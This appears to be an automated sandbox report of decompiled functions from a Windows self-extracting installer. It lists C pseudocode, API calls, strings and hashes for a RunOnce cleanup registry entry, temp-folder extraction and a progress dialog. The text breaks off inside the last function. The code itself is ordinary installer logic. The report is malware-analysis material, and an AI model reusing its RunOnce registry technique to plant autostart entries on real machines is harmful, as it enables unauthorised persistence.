API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 94e644dd34de132c9878c1ef459d2d0a7fd5947c46259715c571523396a69ec0
Instruction ID: b7830b1fc61bfeec30e86484c0239bb05f6074804996440544f515a66818c60a
Opcode Fuzzy Hash: 94e644dd34de132c9878c1ef459d2d0a7fd5947c46259715c571523396a69ec0
Instruction Fuzzy Hash: 649002A425111046D6685B71ED8954969915E5D5427C15468E021C5048DB7060809711

Uniqueness

Uniqueness Score: -1.00%

Function 011B2033, Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 184
registrylibrarymemoryCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E011B2033(struct HINSTANCE__* __edx) {
				signed int _v8;
				char _v268;
				char _v528;
				void* _v532;
				int _v536;
				int _v540;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t28;
				long _t36;
				long _t41;
				struct HINSTANCE__* _t46;
				intOrPtr _t49;
				intOrPtr _t50;
				CHAR* _t54;
				void _t56;
				signed int _t66;
				intOrPtr* _t72;
				void* _t73;
				void* _t75;
				void* _t80;
				intOrPtr* _t81;
				void* _t86;
				void* _t87;
				void* _t90;
				_Unknown_base(*)()* _t91;
				signed int _t93;
				void* _t94;
				void* _t95;

				_t79 = __edx;
				_t28 =  *0x11b8004; // 0x714bc98c
				_v8 = _t28 ^ _t93;
				_t84 = 0x104;
				memset( &_v268, 0, 0x104);
				memset( &_v528, 0, 0x104);
				_t95 = _t94 + 0x18;
				_t66 = 0;
				_t36 = RegCreateKeyExA(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, 0, 0, 0x2001f, 0,  &_v532,  &_v536); // executed
				if(_t36 != 0) {
					L24:
					return E011B6C80(_t36, _t66, _v8 ^ _t93, _t79, _t84, _t86);
				}
				_push(_t86);
				_t87 = 0;
				while(1) {
					E011B173E("wextract_cleanup0", 0x50, "wextract_cleanup%d", _t87);
					_t95 = _t95 + 0x10;
					_t41 = RegQueryValueExA(_v532, "wextract_cleanup0", 0, 0, 0,  &_v540); // executed
					if(_t41 != 0) {
						break;
					}
					_t87 = _t87 + 1;
					if(_t87 < 0xc8) {
						continue;
					}
					break;
				}
				if(_t87 != 0xc8) {
					GetSystemDirectoryA( &_v528, _t84);
					_t79 = _t84;
					E011B6534( &_v528, _t84, "advpack.dll");
					_t46 = LoadLibraryA( &_v528); // executed
					_t84 = _t46;
					if(_t84 == 0) {
						L10:
						if(GetModuleFileNameA( *0x11b9a3c,  &_v268, 0x104) == 0) {
							L17:
							_t36 = RegCloseKey(_v532);
							L23:
							_pop(_t86);
							goto L24;
						}
						L11:
						_t72 =  &_v268;
						_t80 = _t72 + 1;
						do {
							_t49 =  *_t72;
							_t72 = _t72 + 1;
						} while (_t49 != 0);
						_t73 = _t72 - _t80;
						_t81 = 0x11b91e4;
						do {
							_t50 =  *_t81;
							_t81 = _t81 + 1;
						} while (_t50 != 0);
						_t84 = _t73 + 0x50 + _t81 - 0x11b91e5;
						_t90 = LocalAlloc(0x40, _t73 + 0x50 + _t81 - 0x11b91e5);
						if(_t90 != 0) {
							 *0x11b8580 = _t66 ^ 0x00000001;
							_t54 = "rundll32.exe %sadvpack.dll,DelNodeRunDLL32 \"%s\"";
							if(_t66 == 0) {
								_t54 = "%s /D:%s";
							}
							_push("C:\Users\jones\AppData\Local\Temp\IXP000.TMP\");
							E011B173E(_t90, _t84, _t54,  &_v268);
							_t75 = _t90;
							_t23 = _t75 + 1; // 0x1
							_t79 = _t23;
							do {
								_t56 =  *_t75;
								_t75 = _t75 + 1;
							} while (_t56 != 0);
							_t24 = _t75 - _t79 + 1; // 0x2
							RegSetValueExA(_v532, "wextract_cleanup0", 0, 1, _t90, _t24); // executed
							RegCloseKey(_v532); // executed
							_t36 = LocalFree(_t90);
							goto L23;
						}
						_t79 = 0x4b5;
						E011B4495(0, 0x4b5, _t51, _t51, 0x10, _t51);
						goto L17;
					}
					_t91 = GetProcAddress(_t84, "DelNodeRunDLL32");
					_t66 = 0 | _t91 != 0x00000000;
					FreeLibrary(_t84); // executed
					if(_t91 == 0) {
						goto L10;
					}
					if(GetSystemDirectoryA( &_v268, 0x104) != 0) {
						E011B6534( &_v268, 0x104, 0x11b1140);
					}
					goto L11;
				}
				_t36 = RegCloseKey(_v532);
				 *0x11b8530 = _t66;
				goto L23;
			}

0x011b2033
0x011b203e
0x011b2045
0x011b204a
0x011b2059
0x011b2068
0x011b206d
0x011b2078
0x011b2095
0x011b209d
0x011b2260
0x011b226d
0x011b226d
0x011b20a3
0x011b20a4
0x011b20a6
0x011b20b3
0x011b20b8
0x011b20d2
0x011b20da
0x00000000
0x00000000
0x011b20dc
0x011b20e3
0x00000000
0x00000000
0x00000000
0x011b20e3
0x011b20eb
0x011b210c
0x011b2117
0x011b211f
0x011b212b
0x011b2131
0x011b2135
0x011b2182
0x011b219d
0x011b21e7
0x011b21ed
0x011b225f
0x011b225f
0x00000000
0x011b225f
0x011b219f
0x011b219f
0x011b21a5
0x011b21a8
0x011b21a8
0x011b21aa
0x011b21ab
0x011b21af
0x011b21b1
0x011b21b9
0x011b21b9
0x011b21bb
0x011b21bc
0x011b21c5
0x011b21d0
0x011b21d4
0x011b21fa
0x011b21ff
0x011b2206
0x011b2208
0x011b2208
0x011b220d
0x011b221c
0x011b2221
0x011b2226
0x011b2226
0x011b2229
0x011b2229
0x011b222b
0x011b222c
0x011b2232
0x011b2246
0x011b2252
0x011b2259
0x00000000
0x011b2259
0x011b21db
0x011b21e2
0x00000000
0x011b21e2
0x011b2143
0x011b214a
0x011b214d
0x011b2155
0x00000000
0x00000000
0x011b216c
0x011b217b
0x011b217b
0x00000000
0x011b216c
0x011b20f3
0x011b20f9
0x00000000

APIs

memset.MSVCRT ref: 011B2059
memset.MSVCRT ref: 011B2068
RegCreateKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00000000,00000000,0002001F,00000000,?,?,?,?,?,?,00000000,00000000), ref: 011B2095

Part of subcall function 011B173E: _vsnprintf.MSVCRT ref: 011B1770

RegQueryValueExA.KERNELBASE(?,wextract_cleanup0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 011B20D2
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 011B20F3
GetSystemDirectoryA.KERNEL32 ref: 011B210C
LoadLibraryA.KERNELBASE(?,advpack.dll,?,?,?,?,?,?,?,?,00000000,00000000), ref: 011B212B
GetProcAddress.KERNEL32(00000000,DelNodeRunDLL32), ref: 011B213D
FreeLibrary.KERNELBASE(00000000,?,?,?,?,?,?,?,?,00000000,00000000), ref: 011B214D
GetSystemDirectoryA.KERNEL32 ref: 011B2164
GetModuleFileNameA.KERNEL32(?,00000104,?,?,?,?,?,?,?,?,00000000,00000000), ref: 011B2195
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 011B21CA
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 011B21ED
RegSetValueExA.KERNELBASE(?,wextract_cleanup0,00000000,00000001,00000000,00000002,?,?,?,?,?,?,?,?,?), ref: 011B2246
RegCloseKey.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 011B2252
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 011B2259

Strings

wextract_cleanup%d, xrefs: 011B20A7
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 011B208B
wextract_cleanup0, xrefs: 011B20AE, 011B20C7, 011B20F9, 011B223B
%s /D:%s, xrefs: 011B2208, 011B2219
advpack.dll, xrefs: 011B2112
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 011B21B1, 011B220D
DelNodeRunDLL32, xrefs: 011B2137
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 011B21FF

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: Close$DirectoryFreeLibraryLocalSystemValuememset$AddressAllocCreateFileLoadModuleNameProcQuery_vsnprintf
String ID: %s /D:%s$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$DelNodeRunDLL32$Software\Microsoft\Windows\CurrentVersion\RunOnce$advpack.dll$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup%d$wextract_cleanup0
API String ID: 178549006-3726664654
Opcode ID: a436e61520e4214aac5f80fdf332bf5af72257b9de65f33b533ea06cae06dde1
Instruction ID: 4b8b5df93f72d46a90c0a2ab50bec0434d3479d2ceeaa4a52aefb9c0b36cedd3
Opcode Fuzzy Hash: a436e61520e4214aac5f80fdf332bf5af72257b9de65f33b533ea06cae06dde1
Instruction Fuzzy Hash: 7151F675A00214BBDB3D9B64ECC8FEB7B6DEF54700F0041A8FA15E7145DB70AA898B60

Uniqueness

Uniqueness Score: -1.00%

Function 011B555A, Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 247
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E011B555A(void* __eflags) {
				signed int _v8;
				char _v265;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t28;
				int _t32;
				int _t33;
				int _t35;
				signed int _t36;
				signed int _t38;
				int _t40;
				int _t44;
				long _t48;
				int _t49;
				int _t50;
				signed int _t53;
				int _t54;
				int _t59;
				char _t60;
				int _t65;
				char _t66;
				int _t67;
				int _t68;
				int _t69;
				int _t70;
				int _t71;
				struct _SECURITY_ATTRIBUTES* _t72;
				int _t73;
				CHAR* _t82;
				CHAR* _t88;
				void* _t103;
				signed int _t110;

				_t28 =  *0x11b8004; // 0x714bc98c
				_v8 = _t28 ^ _t110;
				_t2 = E011B4669("RUNPROGRAM", 0, 0) + 1; // 0x1
				_t109 = LocalAlloc(0x40, _t2);
				if(_t109 != 0) {
					_t82 = "RUNPROGRAM";
					_t32 = E011B4669(_t82, _t109, 1);
					__eflags = _t32;
					if(_t32 != 0) {
						_t33 = lstrcmpA(_t109, "<None>");
						__eflags = _t33;
						if(_t33 == 0) {
							 *0x11b9a30 = 1;
						}
						LocalFree(_t109);
						_t35 =  *0x11b8b3e; // 0x0
						__eflags = _t35;
						if(_t35 == 0) {
							__eflags =  *0x11b8a24; // 0x0
							if(__eflags != 0) {
								L46:
								_t101 = 0x7d2;
								_t36 = E011B64C3(_t82, 0x7d2, 0, E011B3200, 0, 0);
								asm("sbb eax, eax");
								_t38 =  ~( ~_t36);
							} else {
								__eflags =  *0x11b9a30; // 0x0
								if(__eflags != 0) {
									goto L46;
								} else {
									_t109 = 0x11b91e4;
									_t40 = GetTempPathA(0x104, 0x11b91e4);
									__eflags = _t40;
									if(_t40 == 0) {
										L19:
										_push(_t82);
										E011B17A1( &_v268, 0x104, _t82, "A:\\");
										__eflags = _v268 - 0x5a;
										if(_v268 <= 0x5a) {
											do {
												_t109 = GetDriveTypeA( &_v268);
												__eflags = _t109 - 6;
												if(_t109 == 6) {
													L22:
													_t48 = GetFileAttributesA( &_v268);
													__eflags = _t48 - 0xffffffff;
													if(_t48 != 0xffffffff) {
														goto L30;
													} else {
														goto L23;
													}
												} else {
													__eflags = _t109 - 3;
													if(_t109 != 3) {
														L23:
														__eflags = _t109 - 2;
														if(_t109 != 2) {
															L28:
															_t66 = _v268;
															goto L29;
														} else {
															_t66 = _v268;
															__eflags = _t66 - 0x41;
															if(_t66 == 0x41) {
																L29:
																_t60 = _t66 + 1;
																_v268 = _t60;
																goto L42;
															} else {
																__eflags = _t66 - 0x42;
																if(_t66 == 0x42) {
																	goto L29;
																} else {
																	_t68 = E011B68FC( &_v268);
																	__eflags = _t68;
																	if(_t68 == 0) {
																		goto L28;
																	} else {
																		__eflags = _t68 - 0x19000;
																		if(_t68 >= 0x19000) {
																			L30:
																			_push(0);
																			_t103 = 3;
																			_t49 = E011B5933( &_v268, _t103, 1);
																			__eflags = _t49;
																			if(_t49 != 0) {
																				L33:
																				_t50 = E011B2631(0,  &_v268, 1);
																				__eflags = _t50;
																				if(_t50 != 0) {
																					GetWindowsDirectoryA( &_v268, 0x104);
																				}
																				_t88 =  &_v268;
																				E011B6534(_t88, 0x104, "msdownld.tmp");
																				_t53 = GetFileAttributesA( &_v268);
																				__eflags = _t53 - 0xffffffff;
																				if(_t53 != 0xffffffff) {
																					_t54 = _t53 & 0x00000010;
																					__eflags = _t54;
																				} else {
																					_t54 = CreateDirectoryA( &_v268, 0);
																				}
																				__eflags = _t54;
																				if(_t54 != 0) {
																					SetFileAttributesA( &_v268, 2);
																					_push(_t88);
																					_t109 = 0x11b91e4;
																					E011B17A1(0x11b91e4, 0x104, _t88,  &_v268);
																					_t101 = 1;
																					_t59 = E011B5423(0x11b91e4, 1, 0);
																					__eflags = _t59;
																					if(_t59 != 0) {
																						goto L45;
																					} else {
																						_t60 = _v268;
																						goto L42;
																					}
																				} else {
																					_t60 = _v268 + 1;
																					_v265 = 0;
																					_v268 = _t60;
																					goto L42;
																				}
																			} else {
																				_t65 = E011B2631(0,  &_v268, 1);
																				__eflags = _t65;
																				if(_t65 != 0) {
																					goto L28;
																				} else {
																					_t67 = E011B5933( &_v268, 1, 1, 0);
																					__eflags = _t67;
																					if(_t67 == 0) {
																						goto L28;
																					} else {
																						goto L33;
																					}
																				}
																			}
																		} else {
																			goto L28;
																		}
																	}
																}
															}
														}
													} else {
														goto L22;
													}
												}
												goto L47;
												L42:
												__eflags = _t60 - 0x5a;
											} while (_t60 <= 0x5a);
										}
										goto L43;
									} else {
										_t101 = 1;
										_t69 = E011B5423(0x11b91e4, 1, 3); // executed
										__eflags = _t69;
										if(_t69 != 0) {
											goto L45;
										} else {
											_t82 = 0x11b91e4;
											_t70 = E011B2631(0, 0x11b91e4, 1);
											__eflags = _t70;
											if(_t70 != 0) {
												goto L19;
											} else {
												_t101 = 1;
												_t82 = 0x11b91e4;
												_t71 = E011B5423(0x11b91e4, 1, 1);
												__eflags = _t71;
												if(_t71 != 0) {
													goto L45;
												} else {
													do {
														goto L19;
														L43:
														GetWindowsDirectoryA( &_v268, 0x104);
														_push(4);
														_t101 = 3;
														_t82 =  &_v268;
														_t44 = E011B5933(_t82, _t101, 1);
														__eflags = _t44;
													} while (_t44 != 0);
													goto L2;
												}
											}
										}
									}
								}
							}
						} else {
							__eflags = _t35 - 0x5c;
							if(_t35 != 0x5c) {
								L10:
								_t72 = 1;
							} else {
								__eflags =  *0x11b8b3f - _t35; // 0x0
								_t72 = 0;
								if(__eflags != 0) {
									goto L10;
								}
							}
							_t101 = 0;
							_t73 = E011B5423(0x11b8b3e, 0, _t72);
							__eflags = _t73;
							if(_t73 != 0) {
								L45:
								_t38 = 1;
							} else {
								_t101 = 0x4be;
								E011B4495(0, 0x4be, 0, 0, 0x10, 0);
								goto L2;
							}
						}
					} else {
						_t101 = 0x4b1;
						E011B4495(0, 0x4b1, 0, 0, 0x10, 0);
						LocalFree(_t109);
						 *0x11b9124 = 0x80070714;
						goto L2;
					}
				} else {
					_t101 = 0x4b5;
					E011B4495(0, 0x4b5, 0, 0, 0x10, 0);
					 *0x11b9124 = E011B6233();
					L2:
					_t38 = 0;
				}
				L47:
				return E011B6C80(_t38, 0, _v8 ^ _t110, _t101, 1, _t109);
			}

0x011b5565
0x011b556c
0x011b5583
0x011b558f
0x011b5593
0x011b55ba
0x011b55bf
0x011b55c4
0x011b55c6
0x011b55f2
0x011b55fb
0x011b55fd
0x011b55ff
0x011b55ff
0x011b5606
0x011b560c
0x011b5611
0x011b5613
0x011b5650
0x011b5656
0x011b5859
0x011b5861
0x011b5866
0x011b586d
0x011b586f
0x011b565c
0x011b565c
0x011b5662
0x00000000
0x011b5668
0x011b5668
0x011b5673
0x011b5679
0x011b567b
0x011b56ad
0x011b56ad
0x011b56bf
0x011b56c4
0x011b56cb
0x011b56d1
0x011b56de
0x011b56e0
0x011b56e3
0x011b56ea
0x011b56f1
0x011b56f7
0x011b56fa
0x00000000
0x00000000
0x00000000
0x00000000
0x011b56e5
0x011b56e5
0x011b56e8
0x011b56fc
0x011b56fc
0x011b56ff
0x011b5725
0x011b5725
0x00000000
0x011b5701
0x011b5701
0x011b5707
0x011b5709
0x011b572b
0x011b572b
0x011b572d
0x00000000
0x011b570b
0x011b570b
0x011b570d
0x00000000
0x011b570f
0x011b5715
0x011b571a
0x011b571c
0x00000000
0x011b571e
0x011b571e
0x011b5723
0x011b5738
0x011b5738
0x011b573b
0x011b5742
0x011b5747
0x011b5749
0x011b576c
0x011b5772
0x011b5777
0x011b5779
0x011b5787
0x011b5787
0x011b5797
0x011b579d
0x011b57a9
0x011b57af
0x011b57b2
0x011b57c4
0x011b57c4
0x011b57b4
0x011b57bc
0x011b57bc
0x011b57c7
0x011b57c9
0x011b57ea
0x011b57f0
0x011b57f7
0x011b5805
0x011b580b
0x011b580f
0x011b5814
0x011b5816
0x00000000
0x011b5818
0x011b5818
0x00000000
0x011b5818
0x011b57cb
0x011b57d1
0x011b57d3
0x011b57d9
0x00000000
0x011b57d9
0x011b574b
0x011b5751
0x011b5756
0x011b5758
0x00000000
0x011b575a
0x011b5763
0x011b5768
0x011b576a
0x00000000
0x00000000
0x00000000
0x00000000
0x011b576a
0x011b5758
0x00000000
0x00000000
0x00000000
0x011b5723
0x011b571c
0x011b570d
0x011b5709
0x00000000
0x00000000
0x00000000
0x011b56e8
0x00000000
0x011b581e
0x011b581e
0x011b581e
0x011b56d1
0x00000000
0x011b567d
0x011b567f
0x011b5683
0x011b5688
0x011b568a
0x00000000
0x011b5690
0x011b5690
0x011b5692
0x011b5697
0x011b5699
0x00000000
0x011b569b
0x011b569c
0x011b569e
0x011b56a0
0x011b56a5
0x011b56a7
0x00000000
0x011b56ad
0x011b56ad
0x00000000
0x011b5826
0x011b5832
0x011b5838
0x011b583c
0x011b583d
0x011b5843
0x011b5848
0x011b5848
0x00000000
0x011b5850
0x011b56a7
0x011b5699
0x011b568a
0x011b567b
0x011b5662
0x011b5615
0x011b5615
0x011b5617
0x011b5623
0x011b5623
0x011b5619
0x011b5619
0x011b561f
0x011b5621
0x00000000
0x00000000
0x011b5621
0x011b5626
0x011b562d
0x011b5632
0x011b5634
0x011b5855
0x011b5855
0x011b563a
0x011b563f
0x011b5646
0x00000000
0x011b5646
0x011b5634
0x011b55c8
0x011b55cd
0x011b55d4
0x011b55da
0x011b55e0
0x00000000
0x011b55e0
0x011b5595
0x011b559a
0x011b55a1
0x011b55ab
0x011b55b0
0x011b55b0
0x011b55b0
0x011b5871
0x011b587f

APIs

Part of subcall function 011B4669: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011B467A
Part of subcall function 011B4669: SizeofResource.KERNEL32(00000000,00000000,?,011B2D11,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011B4683
Part of subcall function 011B4669: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011B469D
Part of subcall function 011B4669: LoadResource.KERNEL32(00000000,00000000,?,011B2D11,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011B46A6
Part of subcall function 011B4669: LockResource.KERNEL32(00000000,?,011B2D11,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011B46AD
Part of subcall function 011B4669: memcpy_s.MSVCRT ref: 011B46BF
Part of subcall function 011B4669: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 011B46C9

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000), ref: 011B5589
lstrcmpA.KERNEL32(00000000,<None>,00000000), ref: 011B55F2
LocalFree.KERNEL32(00000000), ref: 011B5606
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 011B55DA

Part of subcall function 011B4495: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 011B44F4
Part of subcall function 011B4495: MessageBoxA.USER32(?,?,gGhd,00010010), ref: 011B4530

Part of subcall function 011B6233: GetLastError.KERNEL32(011B5B72), ref: 011B6233

GetTempPathA.KERNEL32(00000104,C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 011B5673
GetDriveTypeA.KERNEL32(0000005A,?,A:\), ref: 011B56D8
GetFileAttributesA.KERNEL32(0000005A,?,A:\), ref: 011B56F1
GetWindowsDirectoryA.KERNEL32(0000005A,00000104,00000000,?,A:\), ref: 011B5787
GetFileAttributesA.KERNEL32(0000005A,msdownld.tmp,00000000,?,A:\), ref: 011B57A9
CreateDirectoryA.KERNEL32(0000005A,00000000,?,A:\), ref: 011B57BC

Part of subcall function 011B2631: GetWindowsDirectoryA.KERNEL32(?,00000104,00000000), ref: 011B2655

SetFileAttributesA.KERNEL32(0000005A,00000002,?,A:\), ref: 011B57EA

Part of subcall function 011B64C3: FindResourceA.KERNEL32(011B0000,000007D6,00000005), ref: 011B64D6
Part of subcall function 011B64C3: LoadResource.KERNEL32(011B0000,00000000,?,?,011B2EDF,00000000,011B1A00,00000547,0000083E,?,?,?,?,?,?,?), ref: 011B64E4
Part of subcall function 011B64C3: DialogBoxIndirectParamA.USER32(011B0000,00000000,00000547,011B1A00,00000000), ref: 011B6503
Part of subcall function 011B64C3: FreeResource.KERNEL32(00000000,?,?,011B2EDF,00000000,011B1A00,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 011B650C

GetWindowsDirectoryA.KERNEL32(0000005A,00000104,?,A:\), ref: 011B5832

Part of subcall function 011B5933: GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 011B595E
Part of subcall function 011B5933: SetCurrentDirectoryA.KERNELBASE(?), ref: 011B5965

Strings

msdownld.tmp, xrefs: 011B578D
<None>, xrefs: 011B55EC
Z, xrefs: 011B56C4
RUNPROGRAM, xrefs: 011B5577, 011B55BA
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 011B5668, 011B566D, 011B57F7
A:\, xrefs: 011B56AE

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: Resource$Directory$Free$AttributesFileFindLoadLocalWindows$Current$AllocCreateDialogDriveErrorIndirectLastLockMessageParamPathSizeofStringTempTypelstrcmpmemcpy_s
String ID: <None>$A:\$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$RUNPROGRAM$Z$msdownld.tmp
API String ID: 2436801531-2740620654
Opcode ID: bd0036711990c3c26223c6b49cabd605448d077cc235275735fe01973eab8f24
Instruction ID: 8435e1f2766465224036e068417dfd32d8c6cdc4b3f71b5694a93480ca11e1e8
Opcode Fuzzy Hash: bd0036711990c3c26223c6b49cabd605448d077cc235275735fe01973eab8f24
Instruction Fuzzy Hash: 36813BB1B04105AADBBD9B39ACD4BEE766F9F64344F4000B9E595E3181EF708DC28B10

Uniqueness

Uniqueness Score: -1.00%

Function 011B34E0, Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 119
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E011B34E0(struct HWND__* _a4, intOrPtr _a8, int _a12) {
				void* _t9;
				void* _t12;
				void* _t13;
				void* _t17;
				void* _t23;
				void* _t25;
				struct HWND__* _t35;
				struct HWND__* _t38;
				void* _t39;

				_t9 = _a8 - 0x10;
				if(_t9 == 0) {
					__eflags = 1;
					L19:
					_push(0);
					 *0x11b91d8 = 1;
					L20:
					_push(_a4);
					L21:
					EndDialog();
					L22:
					return 1;
				}
				_push(1);
				_pop(1);
				_t12 = _t9 - 0xf2;
				if(_t12 == 0) {
					__eflags = _a12 - 0x1b;
					if(_a12 != 0x1b) {
						goto L22;
					}
					goto L19;
				}
				_t13 = _t12 - 0xe;
				if(_t13 == 0) {
					_t35 = _a4;
					 *0x11b8584 = _t35;
					E011B43AE(_t35, GetDesktopWindow()); // executed
					__eflags =  *0x11b8184; // 0x1
					if(__eflags != 0) {
						SendMessageA(GetDlgItem(_t35, 0x83b), 0x464, 0, 0xbb9); // executed
						SendMessageA(GetDlgItem(_t35, 0x83b), 0x465, 0xffffffff, 0xffff0000); // executed
					}
					SetWindowTextA(_t35, "gGhd"); // executed
					_t17 = CreateThread(0, 0, E011B4FA0, 0, 0, 0x11b8798); // executed
					 *0x11b879c = _t17;
					__eflags = _t17;
					if(_t17 != 0) {
						goto L22;
					} else {
						E011B4495(_t35, 0x4b8, 0, 0, 0x10, 0);
						_push(0);
						_push(_t35);
						goto L21;
					}
				}
				_t23 = _t13 - 1;
				if(_t23 == 0) {
					__eflags = _a12 - 2;
					if(_a12 != 2) {
						goto L22;
					}
					ResetEvent( *0x11b858c);
					_t38 =  *0x11b8584; // 0x1502ae
					_t25 = E011B4495(_t38, 0x4b2, 0x11b1140, 0, 0x20, 4);
					__eflags = _t25 - 6;
					if(_t25 == 6) {
						L11:
						 *0x11b91d8 = 1;
						SetEvent( *0x11b858c);
						_t39 =  *0x11b879c; // 0x18c
						E011B3670(_t39);
						_push(0);
						goto L20;
					}
					__eflags = _t25 - 1;
					if(_t25 == 1) {
						goto L11;
					}
					SetEvent( *0x11b858c);
					goto L22;
				}
				if(_t23 == 0xe90) {
					TerminateThread( *0x11b879c, 0); // executed
					EndDialog(_a4, _a12); // executed
					return 1;
				}
				return 0;
			}

0x011b34eb
0x011b34ee
0x011b3655
0x011b3656
0x011b3656
0x011b3658
0x011b365e
0x011b365e
0x011b3661
0x011b3661
0x011b3667
0x00000000
0x011b3667
0x011b34f4
0x011b34f6
0x011b34f7
0x011b34fc
0x011b364b
0x011b364f
0x00000000
0x00000000
0x00000000
0x011b3651
0x011b3502
0x011b3505
0x011b35ae
0x011b35b1
0x011b35c1
0x011b35c8
0x011b35ce
0x011b35e8
0x011b3607
0x011b3607
0x011b3613
0x011b3627
0x011b362d
0x011b3632
0x011b3634
0x00000000
0x011b3636
0x011b3642
0x011b3647
0x011b3648
0x00000000
0x011b3648
0x011b3634
0x011b350b
0x011b350d
0x011b353f
0x011b3543
0x00000000
0x00000000
0x011b354f
0x011b3555
0x011b356c
0x011b3571
0x011b3574
0x011b358b
0x011b3591
0x011b3597
0x011b359d
0x011b35a3
0x011b35a8
0x00000000
0x011b35a8
0x011b3576
0x011b3578
0x00000000
0x00000000
0x011b3580
0x00000000
0x011b3580
0x011b3514
0x011b3525
0x011b3531
0x00000000
0x011b3539
0x00000000

APIs

TerminateThread.KERNELBASE(00000000), ref: 011B3525
EndDialog.USER32(?,?), ref: 011B3531
ResetEvent.KERNEL32 ref: 011B354F
SetEvent.KERNEL32(011B1140,00000000,00000020,00000004), ref: 011B3580
GetDesktopWindow.USER32 ref: 011B35B7
GetDlgItem.USER32(?,0000083B), ref: 011B35E1
SendMessageA.USER32(00000000), ref: 011B35E8
GetDlgItem.USER32(?,0000083B), ref: 011B3600
SendMessageA.USER32(00000000), ref: 011B3607
SetWindowTextA.USER32(?,gGhd), ref: 011B3613
CreateThread.KERNELBASE(00000000,00000000,Function_00004FA0,00000000,00000000,011B8798), ref: 011B3627
EndDialog.USER32(?,00000000), ref: 011B3661

Strings

gGhd, xrefs: 011B360D

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: DialogEventItemMessageSendThreadWindow$CreateDesktopResetTerminateText
String ID: gGhd
API String ID: 2406144884-362532621
Opcode ID: a9ab46c6ca3d536a5aa96a30ebee544b2fabcd5c824507f166163a55b7fae8a4
Instruction ID: ce62c2e923192974add73ff77c5b26974f042d3c83dddd98148751ac0cc6eb1f
Opcode Fuzzy Hash: a9ab46c6ca3d536a5aa96a30ebee544b2fabcd5c824507f166163a55b7fae8a4
Instruction Fuzzy Hash: EB317E71260301BBD73C1E29ACCDEAA3E29FB89B40F144439F63296298CB7185A0DB54

Uniqueness

Uniqueness Score: -1.00%

Function 011B535F, Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 70
fileCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E011B535F(CHAR* __ecx, CHAR* __edx) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t5;
				long _t13;
				int _t14;
				CHAR* _t20;
				int _t29;
				int _t30;
				CHAR* _t32;
				signed int _t33;
				void* _t34;

				_t5 =  *0x11b8004; // 0x714bc98c
				_v8 = _t5 ^ _t33;
				_t32 = __edx;
				_t20 = __ecx;
				_t29 = 0;
				while(1) {
					E011B173E( &_v268, 0x104, "IXP%03d.TMP", _t29);
					_t34 = _t34 + 0x10;
					_t29 = _t29 + 1;
